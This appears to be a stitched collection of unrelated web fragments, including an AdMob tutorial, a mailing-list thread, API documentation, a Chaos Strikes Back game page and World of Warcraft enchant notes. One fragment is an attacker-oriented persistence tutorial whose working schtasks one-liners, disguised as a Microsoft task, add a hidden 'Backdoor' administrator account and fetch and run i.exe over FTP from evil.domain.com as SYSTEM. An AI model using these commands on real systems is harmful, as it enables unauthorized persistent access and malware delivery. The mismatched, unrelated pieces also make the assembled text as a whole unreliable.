Next, click on the button ‘Show Banner Ad’ and message with the corresponding messages: “showing banner ad” will be shown as in Fig 5-27 below.
Then, when you click on button ‘Show Interstitial Ad’, txtDebug will show message “showing interstitial ad” as shown in Fig 5-28 below.
Now, we know for sure that our 3 functions are being called on start of layout and when each of the 2 buttons are clicked. Next, we need to set Test Mode to true as shown in Fig 5-29 below.
To set Test Mode to true, first select the CordovaAdmobFree object as indicated by the red label 1 in Fig 5-29 above. Then in the properties panel on the left, set Test Mode to true as indicated by the red label 2. Setting Test Mode to true allows you to click on the AdMob ads to test them. Then, fill in the Banner ID:
ca-app-pub-3940256099942544/6300978111
and Interstial ID:
ca-app-pub-3940256099942544/1033173712
Fig 5-30 below shows the correct settings with the Banner ID and Interstitial ID filled in. These are test IDs given by Google AdMob from their website:
Note that we cannot test the ads directly in the browser. For that we will need to build an apk file and install it on an android device. This concludes this chapter. In the next chapter we will be exporting our game in preparation for building our apk file.


Last summer, in a ground-breaking piece of rustic radio, Hooting Yard On The Air broadcast a very rare audio excerpt from the BBC's magnificent bumpkin-and-yokel drama Lark Rise To Candleford. In this scene, one of the peasants sprawls next to the drainage ditch and recites Captain Beefheart's “Old Fart At Play” from Trout Mask Replica. It is now available on the most recently-released podcast, or you can listen to it directly, here, without the rest of Mr Key's babbling flummery.
OldFartAtPlay (mp3)


org.apache.jmeter.threads
Classes
JMeterThread
(0%)
JMeterThreadMonitor
(N/A)
JMeterVariables
(0%)
ListenerNotifier
(0%)
ReflectionThreadGroup
(0%)
SamplePackage
(0%)
TestCompiler
(0%)
ThreadGroup
(0%)


[gecode-users] Problem extensional between BoolVars and IntVar
Mohamed Rezgui
kyo.alone at gmail.com
Wed Oct 9 11:04:14 CEST 2013
OK, thank you Christian and if I have n BoolVars and m IntVars, how can I
generalize that ?
Best Regards,
Mohammed REZGUI
2013/10/9 Christian Schulte <cschulte at kth.se>
> Dear Mohamed,****
>
> ** **
>
> I only have an inefficient solution here: you can introduce IntVars y1 and
> y2 and use the channel constraint:****
>
> channel(home, x1, y1); channel(home, x2, y2);****
>
> and then you can use y1 and y2 together with x3 and x4 and the extensional
> constraint.****
>
> ** **
>
> Best****
>
> Christian****
>
> ** **
>
> --****
>
> Christian Schulte, Professor of Computer Science, KTH,
> www.ict.kth.se/~cschulte/****
>
> ** **
>
> *From:* users-bounces at gecode.org [mailto:users-bounces at gecode.org] *On
> Behalf Of *Mohamed Rezgui
> *Sent:* Wednesday, October 09, 2013 10:53 AM
> *To:* users at gecode.org
> *Subject:* [gecode-users] Problem extensional between BoolVars and IntVar*
> ***
>
> ** **
>
> Dear Sir,****
>
> ** **
>
> I would like to know how can I use Gecode with extensional between BoolVar
> and IntVar
> ****
>
> ** **
>
> I show you my problem :****
>
> I have boolvars : x1 x2****
>
> and intvars x3 x4****
>
> ** **
>
> I have some valid tuples :****
>
> 0 1 3 4****
>
> 0 0 6 6****
>
> 1 1 7 3****
>
> ** **
>
> How can I use constraint Gecode::extensional to use BoolVar and IntVar
> together ?****
>
> This is not the case with Gecode 4.2.0****
>
> ** **
>
> Maybe do I use a clause constraint to express the constraint extensional
> for BooVar and the constraint extensional for IntVar ?****
>
> ** **
>
> --
> Best Regards,****
>
> Mohamed REZGUI****
>
--
Cordialement,
Mohamed REZGUI
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reform.processing package¶
Submodules¶
reform.processing.normalize module¶
-
class
reform.processing.normalize.
Normalizer
¶ Bases:
object
Removes common stop words and normalizes a corpus
-
clean
(term)¶ Removes common stopwords, too short words and language-specific keywords, removes :param term: term to be cleaned :return: cleaned term or None
-
normalize
(term)¶ Normalizes a term :param term: input string term :return: normalized term
-
process_api_term
(term)¶ Query normalization :param query: input query :return: cleaned, split, normalized query
-
process_query
(query)¶ Query normalization :param query: input query :return: cleaned, split, normalized query
-
process_snippet
(snippet)¶ Full text processing of raw terms :param snippet: input snippet :return: cleaned, split, normalized snippet
-
split
(term)¶ Split camelCase and undescore_terms into separate terms, removes punctuation, spaces :param term: term to be split :return: list of split terms
-
reform.processing.vectorize module¶
-
class
reform.processing.vectorize.
Vectorizer
¶ Bases:
object
-
load
(path, base_name)¶ Loads the model to the memory :param path: base folder path :param base_name: name of the file, extentions are connected automatically :return:
-
normalize_and_reformulate
(query, all_asts=False)¶ Normalizes and reformulates raw query :param query: input string :return: list of ASTs as reformulation
-
reformulate
(sentence, num_res=5, public_only=False, num_candidates=10)¶ Takes the sentence, cleans it and reformulates :param sentence: list of words :param num_res: number of output terms :param public_only: use only public API methods :param num_candidates: number of candidate terms for further filtration :return: list of reformulated terms
-
save
(path, base_name, info=None)¶ Saves the model :param path: folder to save the model :param base_name: extentions are connected to the base name :param info: additional info about file type :return:
-
train
(corpus, api, min_count)¶ Parameters: - corpus – snippets, list or another iterable
- api – API elements to use for reformulation: classes, methods, etc.
- min_count – threshold for term occurrence to be included in the model
Returns:
-


Chaos Strikes Back Description
Chaos Strikes Back is the
sequel to Dungeon Master and used the same file formats and almost
the identical runtime engine. Chaos Strikes Back (commonly
called 'CSB') is very much like Dungeon Master and anyone who has
played Dungeon Master will instantly recognize it and feel completely
at home playing CSB. But first impressions are misleading.
CSB plays very differently. It is extremely non-linear.
This non-linearity goes beyond the common, simple, multiple-choice.
Like two ways to get from point A to point B. CSB is non-linear
in space and time. There is no particular order that most
things must be accomplished. There are commonly no particular
tasks that must be accomplished. There are a few (three or
four, again depending) keys you must get and a few places you must
visit but how you get them and how you get there is very much open to
your style of play. Moreover, many of the interesting objects
in the game are distributed at random so that you cannot play the
game twice the same. Even your own movements will appear to be
random until you figure out how the dungeon is built. This game
requires you to "learn the ropes" slowly by trial and error
and extended exploration. Very much different from Dungeon
Master, in which each hallway guided you to the next stairway.
This
game is extremely difficult. It comes with a "Hint Oracle"
that can provide some help. The Hint Oracle examines your saved
game to see where you are currently located in the dungeon and then
provides several hints, starting with a general sort of hint and
progressing to a complete 'Spoiler'. So you can choose how much
you want to be 'spoiled'. But even the most direct spoilers are
totally insufficient for a walk-through. You are going to have
to work hard to complete this game. There are many movies
available which show complete games. They vary in length from
20 minutes (yes, that's right. The game was played in less than
20 minutes.) to 14 hours. Very different styles of play are
represented. As a beginner, you will require much more than 14
hours to complete the game.
Toni Y played this game after not
having played it for a long time. In the process, he created an
Interesting Journal.
 This is based on the number of people using the file and the file's age. What sense does that make? At any rate, contact me if you have problems. I was able to get Norton to 'Whitelist' one of my programs. Here is what they wrote”
Upon
further analysis and investigation we have verified your submission
and, as such, the detection(s) for the following file(s) will be
removed from our products:
File
name: JJJCSBwin.exe
MD5:
b77775b66ca2fb7b0689702ea457d4c9
SHA256:
8d6be78e2505a89514c76ea9fac8990702adde0b00f2bbdc2ead12c977a00f7b
Note:
Whitelisting may take up to 24 hours to take effect via Live Update
Download the French version CSB zip file.
Extract the files into a folder of your
choosing. There are several “Playnnn.bat” files that
start the game in various video resolutions. There is a
“QuickWalkthrough.bat” that will play a movie of an
entire game.
Here is an annotated game of Chaos Strikes Back. Extract everything in a single folder. DoubleClick CSBwin10_101.exe. Click Dungeon. Select menu item 'Misc/Playback'. You can speed things up with the menu selection 'Misc/Quickplay'. The game is complete from start to finish and tells you about the layout of the dungeon and how to solve enough of the puzzles to win the game. Download AnntotatedCSB
For PocketPC (Windows CE)
Download
the CSB zip file
Unpack all the files into a single
directory. See CSB Game files
for a list of files.
Move all the files to a single directory on
your PocketPC.
Play
For CSBwin (Windows)
For CSBwinCE
(For PocketPC)
Chaso Strikes Back was distributed on
two disks for the Atari. I think this was because of space
limitations on bothe the disk and Atari memory. At any rate,
the result is that the game is divided into two parts: 1) Selection
of champions and 2) Adventuring. Here is how to do the several
steps that must be done to play the game:
Selection of champions. Execute CSBwin. Select "DUNGEON". At the Prison door, select "Enter". You will be in the prison and you can walk around and select your Champions by clicking on their portraits. You can Resurrect them with their old capabilities or you can Reincarnate them and give them a new start in life with new names and titles. If you examine the walls carefully you may find some surprises and be able to pick up a Champion with special abilities. Once you have your party selected, you can save the game (right click in the viewport and click on the little floppy disk icon). Click on "Save and Quit" and give it one of four names. Terminate CSBwin with the 'File/Exit' menu.
Creating a new game to play. Execute CSBwin.exe. Select "UTILITY". This function take the party you selected in step 1) and places it in the dungeon to begin adventuring. Select the name of the game where you saved your party in step 1). You will see the portraits of all your party members. On the Atari, you could edit the protraits and do other no\ice things but when using CSBwin all you can do is "Make New Adventure". So click on "Make New Adventure". You will see a menu with the option to "Make New Adventure" again. Select "Make New Adventure" for the second time. Then select a name for the new game. You can use the same name as your party selection game if you wish. Then Click "QUIT" (on the PocketPC version, the word "QUIT" is hidden by the fact that the entire Utility screen is not shown. Instead, you can simply choose "Exit" from the "File" menu at the bottom of the screen). You now have a saved game that you can "RESUME".
Adventuring. Execute CSBwin.exe. Select "DUNGEON". Select "RESUME". Select the name of the game you saved. The first time you start adventuring you will find yourself naked, in the dark, and surrounded by worms. At this point you may throw up your hands and go play Dungeon Master again. Getting out of this predicament requires some practice. Like everything in CSB. Practice, practice, practice. But it is easy. Just like riding a bicycle. Once you know how. There is an iron door in this room. Just in front of the door is a pressurepad that causes more worms to be created. Avoid that, for starters. There is a scounce (torch holder) that will open an alternative exit if you place a torch there. There is a trick wall that leads to some nicer clothes. End of spoilers. Good luck.
Using the Hint Oracle. Execute CSBwin.exe. Select HINT. Select LOAD. Select the name of the saved game for which your party needs some hints. There are generally two types of hints: Descriptions of the creatures on the party's level and hints for the party's particular location in the dungeon. Pressing NEXT provides more detailed hints.
Review
"I haven't played CSB for many years but its etched forever in my nightmares."
-- a quote i can't find, "DM does... while CSB does ... " - i'm sure Paul C (slide) said it, but can't see it yet, still looking --
DM gently guided you in a linear fashion and introduced you to puzzles, dungeoneering, monsters and its world. CSB slaps you right into the centre of a complex non-linear dungeon of insane interconnectivity. Naked. In the dark.
The only way it could be worse is if you were poisoned and wounded. Though of course since you are surrounded by worms and a few moments from being completely trapped by them, then this isn't far off in coming : )
That doesn't make this game bad. It makes it a shock. But no matter how many times you get killed, which you will, and how many times a puzzle infuriates you, which it also will, there is something about the it that pulls you back in. The fact that it's the sequel to beloved DM will keep you trying to start with. Then actually starting to work out the logic of the dungeon keeps you hooked.
In DM you could carefully sculpt a party, watch it grow and puzzle with the dungeon. In CSB you have powerful champions, what you need to do it push them and yourself to the limits. This isn't a game for someone who has never played DM. It is not necessarily a game for someone who has mastered DM and fused Chaos every day for a year either. Both experienced and not will find challenges, as CSB rewards not just knowing how to take on four creatures at once and swiftly cast fireballs without thought. The dungeon is so different to DM that you start off in a similar place.
Realising the meaning of puzzles. Realising the layout of the dungeon. Realising that you have actually increased in skills in a game you thought you had mastered with DM.
Gameplay - 9 - sometimes you just need to keep getting killed and trying things again and again. Other times you just need to persevere. Sometimes you need to be able to use all your fighting skills, and other items you need to be able to spot the subtle tricks. CSB tests all your skills.
Originality - 9 - it has the same decorations, many of the same monsters, and is still the same endless grey walls. The fact that there are new monsters and weapons makes a slight difference. The fact that it is so different in logic and feel to DM is what makes it completely fresh.
Difficulty - 10 - until you learn its logic, lack of logic, and many secrets, you will die alot, and scream at areas alot.
Puzzles - 7 - there are some nice ones. There are some hideously obscure ones. Figuring out the DDD is nightmarish. It's sometimes luck if you manage
to gain the answer before you lose all sanity.
Size - 7 - its 10 packed levels, though you might not appreciate it. Doesn't feel as large as DM once you master it.
Replayability - 10 - it's very non-linear with many secrets, and you have the choice of DM or starting party or even reincarnation for increasing difficulties for new challenges.
Craft - 9 - its exactly the same engine. So some of the ways things done are genius. Such as random object placement - there is no randomise function in
the engine. Pure dungeon mechanics. Some of the puzzles too are clever and subtle.
Game Ending - 5 - a let down. The sense of satisfaction and achieving it is the main thing. But there is no solid 'Fuse chaos' ending. You destroy the last corbum and that is it. Game over. Of course, there is a whole level to fight through to do that, so it's not completely easy.
Atmosphere - 5 - its very disconnected. So while fun to solve, I have never felt a build up of atmosphere in terms of story. But it does have very claustrophobic atmosphere. You are never more than a few steps from danger. A stairwell or false wall may be all that stands between you and another
insane fight/puzzle.
Best part - solving the puzzles. Watching corbums burn. The start once you realise how to get the most from it. The Neta path (first half)
Worst part - its not DM. You don't get the linear story. Triggering floods and some insanely complex mechanics and puzzles like the DDD.
See
http://www.dungeon-master.com/forum/viewtopic.php?t=23250&postdays=0&postorder=asc&start=0
for a running commentary of the game from the prospective of two people starting it and experienced people commenting on it. Includes Toni Y's play in original form.


Iterator result of a find or findAll.
Behaves like a pointer to an array of Attributes. ->keyword() and ->value() return the found values, and ++ steps to the next found item. The default assignment operator, and copy constructor can be used to create copies of the result.
| atEof() | Tells if iterator points past the end of the list. |
| operator++() | |
| operator->() | Dereferences the iterator to return the current Attribute. |
bool AttribIterator::atEof()
Tells if iterator points past the end of the list. This will be true after 'find'ing a non-existant keyword or after stepping past the last search result.
++sr
sr++
Steps to next item in found set.
Attribute* operator->()
Attribute& operator*()
Dereferences the iterator to return the current Attribute.
it->value() and (*it).value() will yield the value of the current attribute for iterator 'it'. Similiarly, it->keyword() and (*it).keyword() will yield the keyword string.


Nested Regex Syntax is Borked
the URL #/cat/purple/small should trigger a match but it doesn't
Non-nested syntax does work though.


This script gets weather info from NOAA and stores the data in STRING files on the Betabrite sign. By default, it only stores the temperature, but you can also get other weather data.
This script writes to a STRING file with the label, "t". In order to display the temperature,
you will also need to create a TEXT file. See the User's
Guide for details. For example, add this
textConfig
and stringConfig
to your
memoryConfig
document.
<alphasign> <memoryConfig> <textConfig label="T" size="25"/> <stringConfig label="t" size="6"/> </memoryConfig> </alphasign>
Then send this text
message to the sign to display
the time and temperature.
<alphasign> <text label="T"> <mode display="hold"/> <orange/><callString label="t"/> <extendedChar offset="49"/>F <dimred/><time/> </text> </alphasign>
After that, you need to run the bbweather script to set the value of the "t" STRING file in the sign.
Run the bbweather script to get the temperature from NOAA. The script takes one argument: the ICAO Location Indicator. You can search for your local ICAO code at the NOAA web site. Example:
./bbweather KFSD
The output is an XML document.
<alphasign> <string label="t">41</string> </alphasign>
Pass that to bbxml to send it to the Betabrite sign.
./bbweather KFSD | bbxml
You can edit the bbweather script
to read other fields, such as wind speed and direction, dew point,
etc. First, run it with the --dump
option to see
what fields are available. There are some comments in the script
to show you how to add the new fields.
To make the updates automatic, create a cron job to run the script periodically.


Kegor:
Without you, we would have failed. I can't thank you enough.

Rest in peace!
Can I have a second with you?


---
layout: post
title: Enchants
tags:
- cataclysm
- class
- deathknight
- enchanting
- paladin
- professions
- tanking
- warrior
- wow
status: publish
type: post
published: true
meta:
aktt_notify_twitter: 'yes'
_aktt_hash_meta: ''
_edit_last: '2'
aktt_tweeted: '1'
_wp_old_slug: ''
---
Just had a quick peak at the enchants published over at MMO Champion for Cataclysm and picked out the ones I thought might be interesting for tanks:
- Boot - Mastery - Permanently enchant boots to increase mastery rating by 50.
- Bracer - Dodge - Permanently enchant bracers to increase dodge rating by 50.
- Bracer - Greater Expertise - Permanently enchant bracers to increase expertise rating by 50.
- Chest - Greater Stamina - Permanently enchant a chest to increase Stamina by 75.
- Chest - Mighty Stats - Permanently enchant chest armor to increase all stats by 15.
- Chest - Peerless Stats - Permanently enchant chest armor to increase all stats by 20.
- Chest - Stamina - Permanently enchant chest armor to increase Stamina by 55.
- Cloak - Protection - Permanently enchant a cloak to increase armor by 250.
- Gloves - Mastery - Permanently enchant gloves to increase mastery rating by 50.
- Gloves - Mighty Strength - Permanently enchant gloves to increase Strength by 50.
- Gloves - Exceptional Strength - Permanently enchant gloves to increase Strength by 35.
- Gloves - Greater Expertise - Permanently enchant gloves to increase expertise rating by 50.
- Shield - Blocking - Permanently enchant a shield to increase block rating by 40.
- Shield - Protection - Permanently enchant a shield to increase armor by 160.
- Ring - Greater Stamina - Permanently enchant your own ring to increase Stamina by 60. Enchanting your ring causes it to become soulbound and requires 475 Enchanting skill to remain active.


Source
So how do we nail it down to if a SPECIFIC account gets locked out??
Our built-in friend wevtutil.exe is the man for the job here. Windows Event Utility can read through the event logs and output specific EventID selections. For this instance what we need to do is the following:
wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4740]"
qe security - query the security event log
/rd:true - reverse direction, read from newest to oldest
/F:text - output it in text format
/c:1 - Find only the last 1 events (most recent since we have rd set to true)
That will output the last instance of an account getting locked out. It will look something similar to this, in this instance it's from a domain controller, it will look very similar just different names on a non domain controller:
Event[0]:
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 2015-03-11T10:12:52.499
Event ID: 4740
Task: User Account Management
Level: Information
Opcode: Info
Keyword: Audit Success
User: N/A
User Name: N/A
Computer: Domain.Controller.fake.internal
Description:
A user account was locked out.
Subject:
Security ID: S-1-5-18
Account Name: Domain.Controller$
Account Domain: fake
Logon ID: 0x3e7
Account That Was Locked Out:
Security ID: S-1-5-21-561012550-38641HK9414-249823312-7894
Account Name: Backupexec
Additional Information:
Caller Computer Name: Someserverorworkstation
Okay, that's a lot of info but we really only need the Account Name. So we pipe it to find:
wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4740]" | find /i "account name"
oh wait there's 2 account names in that file, happily since the one we're looking for is the last one we don't have to get into any tricky stuff as that one will decide the errorlevel.
Then we end up with just:
Account Name: Backupexec
Then we can do another pass to find the specific account we're looking for
wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4740]" | find /i "account name" | find /i "triggeraccount"
Now would be a good moment to mention the 261 character limit, spaces included, for the /TR option of a scheduled task. Always with the restrictions..... no rest for the wicked.
So we have to get that cut down a bit if we want to keep everything in just the task run option and not write extra stuff to disk. Lets cut out the net user comment part and nix the nul's.
So we end up with this here:
schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k wevtutil qe security /rd:true /f:text /c:1 /q:\"*[System/EventID=4740]\" | find /i \"Account Name:\" | find /i \"triggername\" && net user Backdoor 1R3AlG00dP@55w0rd /add /y /active:yes & net localgroup administrators Backdoor /add & exit" /f /ru system /ec Security /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"
We use our && command (&& = only execute if the previous command was successful) to continue execution if the triggeraccount name is found. We're sitting at a cool 256 characters for the /TR. We're doing good, targeted triggering, creating a user, adding to an administration group.
Having an account is cool, but if we don't have access to the server we're stuck looking through the window from the outside, no fun at all. We can do better.
Alright, same parameters as before, but we're going to bend the rule slightly about writing files to disk. We'll do a one liner FTP command to retrieve and execute a file. I used some formatting tricks to shoehorn everything in here.
schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k set &wevtutil qe security /rd:true /f:text /c:1 /q:\"*[System/EventID=4740]\" | find /i \"bob\" &&echo user username> f&echo password>>f&echo bin>>f&echo get i.exe>>f&echo quit>>f&ftp -n -s:f evil.domain.com&start \"\" i.exe&exit" /f /ru system /ec Security /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"
We start out the same as before, querying the event log for the most recent locked account and see if it's our good friend bob. Then we set out to writing out our FTP script. Using a couple space cheats and short file names we manage to squeeze everything in. Note that you don't need spaces before or after an & or before or after the append >>. that saves us a bunch of characters which ends up being kind of a big deal since we're limited to 261 characters. Using a single letter for the FTP script file name (f) saves us more space.
Pretty slick right? What else can we do...
Run a task whenever a particular user logs out, change an accounts password back every time the password gets changed, setup a backdoor account if you get locked out / deleted, whatever windows creates an event for, you can create a task for. Your only limits are how specific you want execution to be and 261 characters. Other than that, the world is yours.


Why? Because we’re awesome.
Upload your Evernote export file.
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You'll need the desktop version of Evernote, so you can export notebooks in the .enex format.
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